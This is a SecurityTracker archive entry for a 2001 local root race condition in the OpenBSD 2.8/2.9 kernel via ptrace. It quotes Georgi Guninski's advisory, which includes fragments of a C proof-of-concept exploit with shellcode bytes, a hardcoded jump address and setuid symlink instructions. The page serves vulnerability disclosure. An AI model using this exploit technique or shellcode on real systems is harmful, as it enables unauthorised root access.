Sign Up for Your FREE Weekly SecurityTracker E-mail Alert Summary
Put SecurityTracker Vulnerability Alerts on Your Web Site -- It's Free!
Become a Partner and License Our Database or Notification Service
OpenBSD Kernel Race Condition Lets Local Users Gain Root Level Privileges
SecurityTracker Alert ID: 1001753|
SecurityTracker URL: http://securitytracker.com/id/1001753
(Links to External Site)
Date: Jun 14 2001
Execution of arbitrary code via local system, Root access via local system|
Exploit Included: Yes |
Version(s): OpenBSD 2.9,2.8|
Georgi Guninski reported a vulnerability in OpenBSD that lets local users obtain root level access on the host by exploiting a race condition that apparently exists in the kernel.|
The vulnerability allows a user to attach to a process id (of /usr/bin/su, for example) using the ptrace function and then cause arbitrary code to be executed with the privileges of the original process (root, for example) before the process is killed.
It is reported that PT_DETACH allows specifying an address to which execution is continued (this is contrary to what is listed in the ptrace man page).
A demonstration exploit is included in the Source Message.
The vendor has reportedly been notified.
A local user can obtain root level privileges on the host.|
No solution was available at the time of this entry.|
Vendor URL: www.openbsd.org/ (Links to External Site)
This archive entry has one or more follow-up message(s) listed below.|
Source Message Contents
Date: Thu, 14 Jun 2001 17:14:46 +0300|
Subject: OpenBSD 2.9,2.8 local root compromise
Georgi Guninski security advisory #47, 2001
OpenBSD 2.9,2.8 local root compromise
Have not tested on other OSes but they may be vulnerable
Date: 14 June 2001
This Advisory is Copyright (c) 2001 Georgi Guninski.
You may distribute it unmodified.
You may not modify it and distribute it or distribute parts
of it without the author's written permission.
The information in this advisory is believed to be true based on
experiments though it may be false.
The opinions expressed in this advisory and program are my own and
not of any company. The usual standard disclaimer applies,
especially the fact that Georgi Guninski is not liable for any damages
caused by direct or indirect use of the information or functionality
provided by this advisory or program. Georgi Guninski bears no
responsibility for content or misuse of this advisory or program or
any derivatives thereof.
There is local root compromise in OpenBSD 2.9, 2.8 due to a race
probably in the kernel. This is quite similar to the linux kernel
race several months ago.
By forking a few process it is possible to attach to +s pid with ptrace.
The process seems to be in a strange state when it is attached.
Contrary to the man info PT_DETACH allows specifying an address to which
execution is continued.
/* Written by Georgi Guninski http://www.guninski.com
Tested on OpenBSD 2.9 and 2.8
Works best after reboot - the +s program must not be executed before, seems
/tmp/su must be a link to +s program
if the +s program has been executed, create and run shell script the size of RAM
You may need to type "fg" if the program receives stop signal
you may need to run the program several times
void endit(int x)
extern char **environ;
int main(int ac, char **av)
volatile struct reg pt;
char bsdshell = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
volatile int done=0;
volatile static int done2=0;
int num; // number of processes to fork. 20 works for me on Pentium500
// address of $joro where execution of shell code begins.may need to be changed
unsigned int breakat=0xdfbfddaf;
printf("Written by Georgi Guninski\nShall jump to %x\n",breakat);
printf("Started pid1=%d target=%d\n",pid,target);
if(! (pid2 = fork()))
if (!ptrace(PT_ATTACH, target,NULL,NULL))
// "/tmp/su" must be symbolic link to +s program .
// the program must not be executed before.
OpenBSD was informed on 9 June 2001.
Go to the Top of This SecurityTracker Archive Page